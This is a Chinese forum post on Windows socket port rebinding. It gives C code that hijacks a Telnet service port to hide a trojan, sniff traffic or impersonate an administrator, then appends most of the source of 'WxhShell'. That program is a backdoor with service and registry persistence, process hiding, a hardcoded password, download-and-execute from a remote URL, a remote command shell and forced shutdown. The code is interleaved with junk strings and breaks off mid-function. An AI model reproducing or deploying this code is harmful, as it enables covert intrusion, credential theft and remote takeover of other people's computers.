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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: -?(RoWv@X&  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); Z kS* CG   
_NkN3f5 1L  
  saddr.sin_family = AF_INET; Qd./G5CC  
hnZHu\EJ  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); |}}]&:w2  
btY Pp0o~  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); < 9MnQ*@  
9C.cz\E  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 /f[_]LeV]  
8vRiVJ8QS:  
  这意味着什么?意味着可以进行如下的攻击: lrE0)B5F  
M,@SUu v"  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 O92Yd$S  
^ UzF nW@a  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) 8tL61x{]  
L8G4K)  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 mOB\ `&h5  
tWiV0PTI  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  bDo'hDmW  
_"bx#B*  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 d5\1-d_uz  
op*+fJHD  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 }';&0p2Z  
kT1lOP-Bg  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 VJ"3G;;  
>guQY I@4,  
  #include ah92<'ix  
  #include yU.0'r5uR  
  #include F"=MU8  
  #include    ,54<U~Lg:  
  DWORD WINAPI ClientThread(LPVOID lpParam);   p(G?  
  int main() t>fB@xHBB  
  { {<2Zb N?  
  WORD wVersionRequested; |$t0cd  
  DWORD ret; =gIYa  
  WSADATA wsaData; wj^I1;lO  
  BOOL val; "Pc,+>vh  
  SOCKADDR_IN saddr; = I(s7=Liu  
  SOCKADDR_IN scaddr; hvyN8We  
  int err; 6&Dvp1`m  
  SOCKET s; z!+<m<  
  SOCKET sc; a}K+w7VY\  
  int caddsize; l)8V:MK  
  HANDLE mt; Lk9>7xY  
  DWORD tid;   IO#W#wW$M  
  wVersionRequested = MAKEWORD( 2, 2 ); [UH5D~Yx  
  err = WSAStartup( wVersionRequested, &wsaData ); ,ln uu  
  if ( err != 0 ) { yFt7fdl2  
  printf("error!WSAStartup failed!\n"); DX"; v J  
  return -1; WI6E3,ejB1  
  } K*9b `%  
  saddr.sin_family = AF_INET; =;H'~  
   %\cC]<>  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 @nP}q!y  
o FLrSmY)E  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); 1aE/_  
  saddr.sin_port = htons(23); q UnFEg  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) arP+(1U  
  { pqSE|3*l  
  printf("error!socket failed!\n"); 1,T9HpM  
  return -1; u B\& Q;  
  } L\ %_<2  
  val = TRUE; xgz87d/<:  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 |^Es6 .~  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) 2M?lgh4"  
  { {nefS\#{  
  printf("error!setsockopt failed!\n"); .6 NSt  
  return -1; =T)2wcXBB  
  } lt4jnV2"a  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; fn OkH  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 <k](s  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 wIF ":'  
!5j3gr ~  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) >~rd5xlk  
  { 1Q SIZoK7  
  ret=GetLastError(); yU"G|Ex  
  printf("error!bind failed!\n"); Ij1 ]GZ`A(  
  return -1; G)hH?_U#T  
  } "yTh +=  
  listen(s,2); a*j <TR  
  while(1) j9}0jC2Tb  
  { wsrx|n[]  
  caddsize = sizeof(scaddr); V|\A?   
  //接受连接请求 $>=Nb~t!/  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); 0 '7s  
  if(sc!=INVALID_SOCKET) wW8 6rB  
  { rfRo*u2"  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); N[bN"'U/1  
  if(mt==NULL) =h::VB}Lv  
  { &ZN'Ey?  
  printf("Thread Creat Failed!\n"); 0:'jU  
  break; >iH).:j  
  } zm+4Rl(  
  } ]B3FTqR{i  
  CloseHandle(mt); wLSZL  
  } x{>Y$t]  
  closesocket(s); iBQBHF   
  WSACleanup(); W \}}gIEM+  
  return 0; $|(|Qzi%  
  }   S7ehk*`  
  DWORD WINAPI ClientThread(LPVOID lpParam) S}^s 5ztm  
  { 0 jP00   
  SOCKET ss = (SOCKET)lpParam; xY0QGQca  
  SOCKET sc; } Tr83B|  
  unsigned char buf[4096]; x7Rq|NQ  
  SOCKADDR_IN saddr; t;dQ~e20  
  long num; s}#[*WOc  
  DWORD val; IS2Ij  
  DWORD ret; x}<G!*3  
  //如果是隐藏端口应用的话,可以在此处加一些判断 o:8S$F`O@  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   xd fvme[  
  saddr.sin_family = AF_INET; X/-KkC  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); ZBR^[OXO  
  saddr.sin_port = htons(23); 3>9dJx4I  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) #IaBl?}r^  
  { $Kz\ h#}  
  printf("error!socket failed!\n"); NB5L{Gf6-  
  return -1; OF<n T  
  } @MZ6E$I  
  val = 100; W(a'^ #xe  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 62)lf2$1  
  { QP5:M!O<)  
  ret = GetLastError(); xrVZxK:!  
  return -1; S~rVRC"<xo  
  } aC yb-P  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) .;Utkf'I  
  { p (xD/E  
  ret = GetLastError(); _jrA?pY  
  return -1; \kV7NA  
  } uP{+?#a_-\  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) P}+|`>L  
  { xUo)_P\_  
  printf("error!socket connect failed!\n"); ys[i`~$  
  closesocket(sc); vg:J#M:  
  closesocket(ss); .l( r8qY#  
  return -1; b6!Q!:GO&  
  } J4Z<Yt/  
  while(1) k[ffs}  
  { :qCm71*  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 (2S!$w%  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 Gj7QG IKx  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 =*:[(Py1  
  num = recv(ss,buf,4096,0); Iz?W tm }  
  if(num>0) s/G5wRl<  
  send(sc,buf,num,0); {`K]sa7`  
  else if(num==0) [wy3Ld  
  break; S?nNZW\6[  
  num = recv(sc,buf,4096,0); L\:YbS~]  
  if(num>0) ^mgI%_?1  
  send(ss,buf,num,0); R!/,E  
  else if(num==0) @0UwI%.  
  break; 8?j&{G  
  } ;sL6#Go?V  
  closesocket(ss); QVSsi j  
  closesocket(sc); -wtTq ph'  
  return 0 ; p*AP 'cR  
  } 1!;"bHpk  
s;_#7x#  
G{:af:5Fo  
========================================================== UOLTCp?M;J  
S0.- >"L  
下边附上一个代码,,WXhSHELL EAC(^+15K  
uF]D  
========================================================== #>E3'5b   
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#include "stdafx.h" nXM9Px!  
b#Fk>j  
#include <stdio.h> M=\d_O#;Z  
#include <string.h> (iCZz{l@~  
#include <windows.h> Nn,vdu{^2  
#include <winsock2.h> K{= r.W  
#include <winsvc.h> [I++>4  
#include <urlmon.h> 7dufY }}  
iO?gF  
#pragma comment (lib, "Ws2_32.lib") c+E//X|  
#pragma comment (lib, "urlmon.lib") SrQ4y`?  
&v3D" J  
#define MAX_USER   100 // 最大客户端连接数 f#;ubfi"z  
#define BUF_SOCK   200 // sock buffer L_ Xn,  
#define KEY_BUFF   255 // 输入 buffer hpqHllL  
,NaV [ "9$  
#define REBOOT     0   // 重启 n~"g'Y  
#define SHUTDOWN   1   // 关机  EbBv}9g  
xS H6n  
#define DEF_PORT   5000 // 监听端口 ,<Grd5em.  
PUQ_w  
#define REG_LEN     16   // 注册表键长度 =#.8$oa^  
#define SVC_LEN     80   // NT服务名长度 %)<oX9E  
OUlxeo/  
// 从dll定义API _o&,  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); P;L)1 g  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); uHUvntr  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); fw:7Q7 qo  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 2rR@2Vsw2  
?b*/ddIs  
// wxhshell配置信息 EaM"=g  
struct WSCFG {  r21?c|IP  
  int ws_port;         // 监听端口 M73VeV3DL  
  char ws_passstr[REG_LEN]; // 口令 Y'<uZl^aX  
  int ws_autoins;       // 安装标记, 1=yes 0=no FhY{;-W(T  
  char ws_regname[REG_LEN]; // 注册表键名 ]Efh(Gb]  
  char ws_svcname[REG_LEN]; // 服务名 +?"HTDBE||  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 #|{BGVp  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 i_[ HcgT-  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 Q8;x9o@p  
int ws_downexe;       // 下载执行标记, 1=yes 0=no F1?CqN M  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" Ks49$w<  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 d$"G1u~%  
jpYw#]Q  
}; fH#F"^ A  
<?> I\  
// default Wxhshell configuration ny!lj a5[  
struct WSCFG wscfg={DEF_PORT, SQdz EF  
    "xuhuanlingzhe", z`86-Ov  
    1, X \b}jo^96  
    "Wxhshell", a<57(Sf  
    "Wxhshell", @MN}^umx`  
            "WxhShell Service", ;e#>n!<u  
    "Wrsky Windows CmdShell Service", *tTP8ZCQ[  
    "Please Input Your Password: ", `G"|MM>P  
  1, (B>yaM#5  
  "http://www.wrsky.com/wxhshell.exe", p~Yy"Ec;p  
  "Wxhshell.exe" v{mv*`~nA\  
    }; EFa{O`_@U  
P|unUW(P  
// 消息定义模块 "xe7Dl  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; k8InbX[  
char *msg_ws_prompt="\n\r? for help\n\r#>"; b[J-ja.  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ;H7EB`  
char *msg_ws_ext="\n\rExit."; q5:0&:m$4$  
char *msg_ws_end="\n\rQuit."; wo7N7R5  
char *msg_ws_boot="\n\rReboot..."; 8~&F/C*  
char *msg_ws_poff="\n\rShutdown..."; 6pM"h5hA  
char *msg_ws_down="\n\rSave to "; W\I$`gyC/  
4)z3X\u|Z2  
char *msg_ws_err="\n\rErr!"; T8,k7 7  
char *msg_ws_ok="\n\rOK!"; ALE808;|  
&#.x)>f  
char ExeFile[MAX_PATH];  aNOAu/  
int nUser = 0; &K9VEMCEX  
HANDLE handles[MAX_USER]; ".~Mm F  
int OsIsNt; \b_-mnN"  
im_w+h%^  
SERVICE_STATUS       serviceStatus; ^Ei*M0fF  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ~I8v5 H  
+?URVp  
// 函数声明 MAuM)8_P/|  
int Install(void); ;eS;AHZ  
int Uninstall(void); >%iu!H"  
int DownloadFile(char *sURL, SOCKET wsh); %-@'CNP  
int Boot(int flag); rtB|N-  
void HideProc(void); +l2e[P+qA  
int GetOsVer(void); x><zGXvvp|  
int Wxhshell(SOCKET wsl); ;el]LnV!O  
void TalkWithClient(void *cs); 5S&aI{;9<  
int CmdShell(SOCKET sock); q Axf5  
int StartFromService(void); L]c 8d   
int StartWxhshell(LPSTR lpCmdLine); q6;OS.f  
lSZ"y Q+  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); + $k07mb\  
VOID WINAPI NTServiceHandler( DWORD fdwControl );  O]e6i%?  
)HJK '@  
// 数据结构和表定义 7^kH8qJ)  
SERVICE_TABLE_ENTRY DispatchTable[] = RtW4 n:c  
{ > [Xm|A#  
{wscfg.ws_svcname, NTServiceMain}, 2. StG(Y!  
{NULL, NULL} WafdE  
}; Q;XXgX#l  
3mpP| b"  
// 自我安装 { M`  
int Install(void) L\QQjI{  
{ 3M}AxE u  
  char svExeFile[MAX_PATH]; '4J&Gpx  
  HKEY key; B*9  
  strcpy(svExeFile,ExeFile); fs wZM\@  
Eem 2qKj  
// 如果是win9x系统,修改注册表设为自启动 I x( 6  
if(!OsIsNt) { ,$HHaoo g  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ,3G$`  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Zr\2BOcc.l  
  RegCloseKey(key); >=4sPF)  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { am]3 "V>  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Hm.X}HO0L  
  RegCloseKey(key); R!sNg   
  return 0; n (OjjR m  
    } y.jS{r".  
  } QH& %mr.S  
} 11i"nR|  
else { 8&?^XcJ*x  
^bF}_CSE  
// 如果是NT以上系统,安装为系统服务 ~ wfoK7T}  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); k%"$$uo  
if (schSCManager!=0) ]MC/t5vCu  
{ 6o$Z0mG  
  SC_HANDLE schService = CreateService xg(<oDn+\  
  ( ; qO@A1Hq  
  schSCManager, 60~v t04  
  wscfg.ws_svcname, S|l&fb n  
  wscfg.ws_svcdisp,  UP\8w#~  
  SERVICE_ALL_ACCESS, {;U}:Dx  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , [vE$R@TZ0!  
  SERVICE_AUTO_START, D*|( p6v1&  
  SERVICE_ERROR_NORMAL, -s{R/6 :  
  svExeFile, [Dnusp7e  
  NULL, (&q@~ dJ  
  NULL, aLV~|$: 2  
  NULL, [fd~nD#.  
  NULL, }'u3U"9)  
  NULL |__d 8a  
  ); HTxB=Q|  
  if (schService!=0) O:2 #_  
  { Tsu\oJ[  
  CloseServiceHandle(schService); %wOOzp`  
  CloseServiceHandle(schSCManager); y@q1c*|  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); QxKAXq@)i  
  strcat(svExeFile,wscfg.ws_svcname); [.M  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ty':`)  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); QyTh!QM~`  
  RegCloseKey(key); h!QjpzQe  
  return 0; x]H3Y3  
    } 'T%IvJ#Xu  
  } O2C6V>Q;  
  CloseServiceHandle(schSCManager); ]OUD5T  
} $H4=QVj6  
} 6KVV z/  
c qv .dC  
return 1; %cS#+aK6M'  
} aWdUuid  
6 tX.(/+L  
// 自我卸载 QI.t&sCh5  
int Uninstall(void) I`lDWL  
{ [S%J*sz~  
  HKEY key; HP#ki!'  
9_eS`,'  
if(!OsIsNt) { =+`D  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 'wa g |-  
  RegDeleteValue(key,wscfg.ws_regname); *<w3" iq  
  RegCloseKey(key); o.v2z~V  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { /({P1ti:C  
  RegDeleteValue(key,wscfg.ws_regname); dZF8 R  
  RegCloseKey(key); 'HCnB]1  
  return 0; ^<!Ia  
  } #&k8TY  
} gEE9/\>%-  
} Q< dba12  
else { T{ok +$w2  
av$  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); t`uc3ta"9  
if (schSCManager!=0) ) 9xX  
{ V):`&@  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); R3cg2H  
  if (schService!=0) +9TV:T  
  { CDJ$hu  
  if(DeleteService(schService)!=0) { Il|GCj*N  
  CloseServiceHandle(schService); ^[0" vtb  
  CloseServiceHandle(schSCManager); 8*vFdoE_oO  
  return 0; li@k Lh  
  } Ur n  
  CloseServiceHandle(schService); t~q?lT  
  } )TM!ms+K  
  CloseServiceHandle(schSCManager); %U-Qsy8|D)  
} $]Jf0_  
} 5|5=Y/   
ad9EG#mD#  
return 1; f:S}h-AL&  
} A3j"/eKi2  
[~t yDLC  
// 从指定url下载文件 !W(`<d]68:  
int DownloadFile(char *sURL, SOCKET wsh) pVY4q0@  
{ D]jkR} t  
  HRESULT hr; gbJG`zC>U  
char seps[]= "/"; !h?=Wv ==]  
char *token; YKNb59k  
char *file; H)\4=^  
char myURL[MAX_PATH]; whw{dfE  
char myFILE[MAX_PATH]; PaNeu1cO  
?x'w~;9R/  
strcpy(myURL,sURL); ~C0 Pu.{o  
  token=strtok(myURL,seps); L -YNz0A  
  while(token!=NULL) L(;.n>/  
  { .3(;9};  
    file=token; _Cj(fFL  
  token=strtok(NULL,seps); mLQUcYfR  
  } (NPxab8e*  
@FU~1u3d  
GetCurrentDirectory(MAX_PATH,myFILE); / xs9.w8-  
strcat(myFILE, "\\"); 7pz\ScSe  
strcat(myFILE, file); @\!ww/QT  
  send(wsh,myFILE,strlen(myFILE),0); (xbIUz.  
send(wsh,"...",3,0); db'K!M)  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); y>)MAzz~\  
  if(hr==S_OK) eJW[ ]!  
return 0; 4? v,wq  
else ,! hnm  
return 1; V +.Q0$~F5  
\<=IMa0  
} &lUNy L  
RN vQ  
// 系统电源模块 D@:"f?K>  
int Boot(int flag) zPHy2H$28  
{ MJA~jjy4  
  HANDLE hToken; z$66\/V']  
  TOKEN_PRIVILEGES tkp; =D}4X1l  
~x\Cmu9`  
  if(OsIsNt) { Z~_8P  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); g9`[Y~  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); YQ+^  
    tkp.PrivilegeCount = 1; loBtd%wY  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; TH YVT%v  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); [t$4Tdd  
if(flag==REBOOT) { ,&[7u9@  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) CB6o$U  
  return 0; TqAtcAurM  
} (U_wp's  
else { qv$!\T  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 1g~y]iQ  
  return 0; A*Rn<{U  
} o_(0  
  } 7pP+5&*  
  else { 95[wM6?J  
if(flag==REBOOT) { bb}?h]a   
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) IqNpLh|[  
  return 0; rpSr^slr  
} l^ Rm0t_  
else { Hg aZbb>'  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ^j[Ku  
  return 0; X5 j=C]  
} ifvU"l  
} GZ"&L?ti  
ydB$4ZB3[  
return 1; )d:K:YXt  
} g#|oi f9o  
obj!I7  
// win9x进程隐藏模块   Y<aO  
void HideProc(void) :PUK6,"5]O  
{ 6e<^o H  
 cLAe sj  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 6{8/P'@/Zz  
  if ( hKernel != NULL ) >J@egIKzP  
  { 05"qi6tncz  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); g}m+f] |  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); VyY.r#@  
    FreeLibrary(hKernel); yjFe'  
  } WcU@~05b  
QkL@JF]Re  
return; @iRO7 6m  
} Hit Ac8  
4#7Umj  
// 获取操作系统版本 9qre|AA  
int GetOsVer(void) v&r=-}z2!  
{ u1N1n;#  
  OSVERSIONINFO winfo; ^aHh{BQ%  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); M%|f+u&  
  GetVersionEx(&winfo); p/3BD&6  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) [Y$V\h=V  
  return 1; M/} aq  
  else z&>|*C.Y  
  return 0; UGCox-W"  
} p1~*;;F  
sl^n6N  
// 客户端句柄模块 @mNJ=mEV  
int Wxhshell(SOCKET wsl) 9x[ U$B  
{ +6oG@  
  SOCKET wsh; jq[x DwPG  
  struct sockaddr_in client; y1#O%=g  
  DWORD myID; \lW_f{X)  
7`dY1.rq  
  while(nUser<MAX_USER) _ eiF@G  
{ 8%-%AWF]  
  int nSize=sizeof(client); Hd374U<8]T  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); t!0dJud  
  if(wsh==INVALID_SOCKET) return 1; tt{`\1q  
,Bf(r  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); Ka.Nr@Rq*~  
if(handles[nUser]==0) -X8eabb  
  closesocket(wsh); EHhd;,;O  
else sUbF Rq  
  nUser++; }[v~&  
  } 2( _=SfQ  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); Um\0i;7 ~4  
8U=A{{0p  
  return 0; o:9$UV[  
} B2(,~^39  
b2s~%}T  
// 关闭 socket s7"i.A  
void CloseIt(SOCKET wsh) Z/7dg-$?'0  
{ I="oxf#q  
closesocket(wsh); a_{6Qdl  
nUser--; 1eD.:_t4  
ExitThread(0); :<%vE!$  
} C_Gzv'C"L  
e9:P9Di(b  
// 客户端请求句柄 !F$R+A+L  
void TalkWithClient(void *cs) ^yJ:+m;6K  
{ vI|As+`$d  
ESv:1o`?n  
  SOCKET wsh=(SOCKET)cs; ) Fx ?%  
  char pwd[SVC_LEN]; Onw24&  
  char cmd[KEY_BUFF]; 11{y}J  
char chr[1]; >)3VbO  
int i,j; L {qJ-ln:  
e "n|jRh  
  while (nUser < MAX_USER) { c{4R*|^  
Q1T@oxV  
if(wscfg.ws_passstr) { _Ex|f5+  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); >{t+4p4k.  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); `< Yf{'*  
  //ZeroMemory(pwd,KEY_BUFF); j 3P$@<  
      i=0; jyQVSQ s  
  while(i<SVC_LEN) { mp:m`sh*i  
gQ+9xTd  
  // 设置超时 #8UseK  
  fd_set FdRead; [b;Uz|o  
  struct timeval TimeOut; _Wma\(3$  
  FD_ZERO(&FdRead); RUX8qT(Z  
  FD_SET(wsh,&FdRead); |^ iA6)Q  
  TimeOut.tv_sec=8; hVf^  
  TimeOut.tv_usec=0; rJV?) =Z  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ;"@:}_t  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); n_P(k-^U*  
PpFsp( )x  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); M2p<u-6 "  
  pwd=chr[0]; "teyi"U+  
  if(chr[0]==0xd || chr[0]==0xa) { 4m /TW)  
  pwd=0; 4By]vd<;=  
  break; uP6-cs  
  } 2-s7cXs  
  i++; q,@+^aZ  
    } [+gzdLad  
0x71%=4H^x  
  // 如果是非法用户,关闭 socket 74]a/'4  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 1ktHN: ta  
} ]QS](BbD:  
d$[8w/5Of  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); QnU0"_-  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Fr;lG  
!0Nf9  
while(1) { x.\XUJ4x  
; 8E;  
  ZeroMemory(cmd,KEY_BUFF); n ,1tD  
<m1sSghg  
      // 自动支持客户端 telnet标准   &57U? oY  
  j=0; !qaDn.9  
  while(j<KEY_BUFF) { qguVaV4Y  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); u G[!w!e  
  cmd[j]=chr[0]; 8 }z3CuM  
  if(chr[0]==0xa || chr[0]==0xd) { h?A'H RyL~  
  cmd[j]=0; s|gp  
  break; r{Z[xWIX  
  } )-q\aX$])  
  j++; <`+zvUx^?  
    } 9gR.RwR X  
pn s+y  
  // 下载文件 Xl?YB Z}  
  if(strstr(cmd,"http://")) { agW9Go_F[  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 6V P)$h8  
  if(DownloadFile(cmd,wsh)) phS>T  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); r w\D>} \  
  else Qg>0G%cXU  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 4oN${7k0  
  } YLmjEs%  
  else { ?} X}#  
O%VA)<  
    switch(cmd[0]) { h"8QeX:((  
  FT4l$g7"  
  // 帮助 )2]a8JVf  
  case '?': { %wtXo BJ  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); u?Z <n:  
    break; "qgu$N4/>  
  } =1/q)b,p)  
  // 安装 @`Wt4<  
  case 'i': { p;e$kg1  
    if(Install()) w49{-Pp[  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); %Gu][_.L  
    else Ysl9f1>%  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); gg(k7e  
    break; h(|;\~  
    } mZE8.`  
  // 卸载 dEG ]riO  
  case 'r': { `{<JC{yc?  
    if(Uninstall()) ]K*GSU  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ?^F5(B[+Y  
    else NFV_+{X\  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); u6pIdt  
    break; . wmkj  
    } 1xIFvXru  
  // 显示 wxhshell 所在路径 4gya]  
  case 'p': { q^%5HeV 2  
    char svExeFile[MAX_PATH]; &8afl"_~  
    strcpy(svExeFile,"\n\r"); z 7@ 'CJ  
      strcat(svExeFile,ExeFile); (s ;zRb!4L  
        send(wsh,svExeFile,strlen(svExeFile),0); lU& Q^Zj`  
    break; HGb.656r  
    } FTbtAlqh<  
  // 重启 }|,EU!nDi  
  case 'b': { ]Cr]Pvab{  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ^7<[}u;qF  
    if(Boot(REBOOT)) Q8 4t9b  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); <0>[c<{V<  
    else { ,.h$&QFj;  
    closesocket(wsh); (<n>EF#  
    ExitThread(0); K]9tc)  
    } (c<f<D|  
    break; Q+lbN  
    } p#z;cjfSt  
  // 关机 \DaLHC~  
  case 'd': { sb 8dc  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); -h=c=P  
    if(Boot(SHUTDOWN)) `k!UjO72  
